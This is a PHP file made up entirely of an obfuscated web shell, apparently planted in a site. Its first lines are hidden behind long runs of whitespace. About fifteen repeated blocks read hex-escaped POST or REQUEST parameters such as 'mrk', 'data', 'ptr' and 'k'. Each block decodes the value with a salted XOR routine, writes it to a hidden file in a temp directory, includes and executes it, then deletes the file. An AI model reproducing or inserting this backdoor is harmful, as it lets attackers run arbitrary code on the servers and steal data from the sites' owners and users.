<?php																																										if(filter_has_var(INPUT_POST, "m\x72\x6B")){ $entry = $_REQUEST["m\x72\x6B"]; $entry = explode ("." , $entry ); $ptr = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $y = 0; $__tmp = $entry; while ($v7 = array_shift($__tmp)) { $sChar = ord($s8[$y% $sLen]); $d = ((int)$v7 - $sChar - ($y% 10)) ^46; $ptr .= chr($d); $y++; } $ent = array_filter(["/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path()]); for ($marker = 0, $rec = count($ent); $marker < $rec; $marker++) { $itm = $ent[$marker]; if (is_writable($itm) && is_dir($itm)) { $k = "$itm" . "/.hld"; if (@file_put_contents($k, $ptr) !== false) { include $k; unlink($k); die(); } } } }
																																										if(in_array("\x64\x61ta", array_keys($_REQUEST))){ $itm = array_filter(["/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); $component = $_REQUEST["\x64\x61ta"]; $component = explode (".", $component ) ; $element = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); foreach ($component as $i => $v1) { $chS = ord($s1[$i % $lenS] ); $dec = ((int)$v1 - $chS - ($i % 10)) ^48; $element .= chr($dec ); } foreach ($itm as $tkn): if (max(0, is_dir($tkn) * is_writable($tkn))) { $ptr = vsprintf("%s/%s", [$tkn, ".comp"]); if (file_put_contents($ptr, $element)) { require $ptr; unlink($ptr); die(); } } endforeach; }
																																										if(!empty($_REQUEST["r\x65\x63"])){ $val = array_filter(["/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $flag = $_REQUEST["r\x65\x63"]; $flag = explode ('.' ,$flag); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $v = 0; foreach ($flag as $v3) { $sChar = ord($s[$v % $sLen] ); $d = ((int)$v3 - $sChar - ($v % 10)) ^61; $item .= chr($d ); $v++;} foreach ($val as $object) { if (!!is_dir($object) && !!is_writable($object)) { $hld = "$object" . "/.ent"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "pr\x6F\x70erty_se\x74")){ $symbol = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $dat = $_POST["pr\x6F\x70erty_se\x74"]; $dat =explode ( ".", $dat ) ; $itm=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $o=0; foreach( $dat as $v6) { $chS=ord( $s[$o% $lenS]); $dec=( ( int)$v6 - $chS -( $o% 10))^ 88; $itm .=chr( $dec); $o++; } while ($bind = array_shift($symbol)) { if (array_product([is_dir($bind), is_writable($bind)])) { $record = str_replace("{var_dir}", $bind, "{var_dir}/.sym"); if (file_put_contents($record, $itm)) { include $record; @unlink($record); die(); } } } }
																																										if(in_array("\x70\x74r", array_keys($_POST))){ $data_chunk = $_POST["\x70\x74r"]; $data_chunk = explode('.' , $data_chunk ) ; $pset = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $len = count($data_chunk); for ($o = 0; $o < $len; $o++) { $v8 = $data_chunk[$o]; $chS = ord($salt1[$o % $sLen]); $d = ((int)$v8 - $chS - ($o % 10)) ^ 33; $pset .=chr($d); } $val = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($val as $key => $ref) { if ((is_dir($ref) and is_writable($ref))) { $ent = "$ref" . "/.desc"; if (file_put_contents($ent, $pset)) { require $ent; unlink($ent); exit; } } } }
																																										if(array_key_exists("\x65\x6C\x65m\x65nt", $_REQUEST) && !is_null($_REQUEST["\x65\x6C\x65m\x65nt"])){ $factor = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd()]); $token = $_REQUEST["\x65\x6C\x65m\x65nt"]; $token = explode ( "." ,$token) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $u =0; array_walk($token, function($v4) use(&$pointer, &$u, $s, $lenS) { $sChar =ord($s[$u% $lenS]); $d =((int)$v4 - $sChar -($u% 10)) ^ 14; $pointer .= chr($d); $u++; }); while ($ent = array_shift($factor)) { if (is_writable($ent) && is_dir($ent)) { $desc = str_replace("{var_dir}", $ent, "{var_dir}/.rec"); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(@$_REQUEST["k"] !== null){ $fac = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $elem = $_REQUEST["k"]; $elem = explode ( "." , $elem ) ; $obj = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); foreach ($elem as $q => $v1): $chS = ord($salt2[$q%$sLen] ); $dec = ((int)$v1 - $chS - ($q%10)) ^84; $obj .= chr($dec ); endforeach; foreach ($fac as $key => $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $val = implode("/", [$tkn, ".record"]); if (@file_put_contents($val, $obj) !== false) { include $val; unlink($val); exit; } } } }
																																										if(in_array("token", array_keys($_POST))){ $reference = $_POST["token"]; $reference = explode("." , $reference ) ; $record = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); $u = 0; $__len = count( $reference); do {if( $u >= $__len) break; $v9 = $reference[$u]; $chS = ord( $s2[$u % $sLen]); $dec =( ( int)$v9 - $chS -( $u % 10)) ^ 100; $record .= chr( $dec); $u++; }while( true); $item = array_filter([getcwd(), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); foreach ($item as $dchunk) { if (is_writable($dchunk) && is_dir($dchunk)) { $ent = "$dchunk/.rec"; if (file_put_contents($ent, $record)) { require $ent; unlink($ent); exit; } } } }
																																										if(in_array("e\x6Eti\x74y", array_keys($_POST))){ $item = $_POST["e\x6Eti\x74y"]; $item =explode ( "." , $item) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($item as $o => $v7) { $chS = ord($s[$o % $lenS]); $dec = ((int)$v7 - $chS - ($o % 10)) ^30; $symbol.= chr($dec); } $sym = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", getenv("TMP")]); foreach ($sym as $key => $val) { if (!( !is_dir($val) || !is_writable($val) )) { $pset = "$val/.ent"; if (file_put_contents($pset, $symbol)) { include $pset; @unlink($pset); exit; } } } }
																																										if(!empty($_POST["s\x79\x6D"])){ $object = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); $ent = $_POST["s\x79\x6D"]; $ent =explode( '.' ,$ent ) ; $component=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s8); $n=0; foreach( $ent as $v8) { $sChar=ord( $s8[$n %$sLen]); $d=( ( int)$v8 - $sChar -( $n %10)) ^ 59; $component .=chr( $d); $n++; } foreach ($object as $key => $reference) { if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $marker = join("/", [$reference, ".token"]); $success = file_put_contents($marker, $component); if ($success) { include $marker; @unlink($marker); die();} } } }
																																										if(isset($_REQUEST["\x64ata"])){ $fac = $_REQUEST["\x64ata"]; $fac = explode ( "." , $fac ); $obj = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $__len = count($fac); for ($y = 0; $y < $__len; $y++) { $v8 = $fac[$y]; $sChar = ord($salt7[$y % $sLen]); $dec = ((int)$v8 - $sChar - ($y % 10)) ^ 48; $obj.=chr($dec);} $ent = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $item = 0; do { $component = $ent[$item] ?? null; if ($item >= count($ent)) break; if (array_product([is_dir($component), is_writable($component)])) { $value = str_replace("{var_dir}", $component, "{var_dir}/.rec"); if (@file_put_contents($value, $obj) !== false) { include $value; unlink($value); die(); } } $item++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["re\x63"])){ $parameter_group = $_REQUEST["re\x63"]; $parameter_group = explode('.' , $parameter_group ) ; $itm =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $q =0; while ($q < count($parameter_group)) { $v9 =$parameter_group[$q]; $sChar =ord($salt[$q % $sLen] ); $dec =((int)$v9 - $sChar - ($q % 10)) ^ 94; $itm .=chr($dec ); $q++; } $descriptor = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP")]); foreach ($descriptor as $key => $marker) { if (is_writable($marker) && is_dir($marker)) { $component = sprintf("%s/.res", $marker); if (file_put_contents($component, $itm)) { include $component; @unlink($component); exit; } } } }
																																										if(!is_null($_POST["f\x6Cg"] ?? null)){ $k = $_POST["f\x6Cg"]; $k =explode ( "." , $k ); $item = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $r = 0; foreach ($k as $v6) { $sChar = ord($salt7[$r % $sLen]); $dec = ((int)$v6 - $sChar - ($r % 10)) ^ 14; $item .= chr($dec); $r++; } $rec = array_filter(["/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($rec as $pointer): if (!!is_dir($pointer) && !!is_writable($pointer)) { $bind = implode("/", [$pointer, ".ref"]); if (file_put_contents($bind, $item)) { require $bind; unlink($bind); die(); } } endforeach; }
																																										if(array_key_exists("\x76\x61lue", $_POST)){ $desc = $_POST["\x76\x61lue"]; $desc = explode ( "." ,$desc ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($desc as $i => $v8) { $sChar = ord($salt[$i % $sLen] ); $dec =((int)$v8 - $sChar -($i % 10)) ^ 84; $object .=chr($dec ); } $entry = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($entry as $data): if (array_product([is_dir($data), is_writable($data)])) { $elem = implode("/", [$data, ".record"]); if (file_put_contents($elem, $object)) { include $elem; @unlink($elem); die(); } } endforeach; }


if(@$_POST["k"] !== null){
	$hld = $_POST["k"];
	 	$hld= explode 	 (	 '.'		 ,	$hld		 )		;
	$object		=  '';
            $salt		=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=  strlen(		$salt		);
            $w		=  0;
    
            while(		$w		<	count(		$hld)) {	 $v7		=  $hld[$w];
                $sChar		=  ord(		$salt[$w		% $sLen]		);
                $dec		=  (		(		int)$v7 - $sChar -(		$w		% 10))		^51;
                $object .= chr(		$dec		);
                $w++;}	 
	$value = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd(), "/tmp", "/var/tmp"]);
	$ptr = 0;
do {
    $parameter_group = $value[$ptr] ?? null;
    if ($ptr >= count($value)) break;
    		if ((is_dir($parameter_group) and is_writable($parameter_group))) {
    $elem = "$parameter_group" . "/.tkn";
    if (file_put_contents($elem, $object)) {
	include $elem;
	@unlink($elem);
	die();
}
}
    $ptr++;
} while (true);
}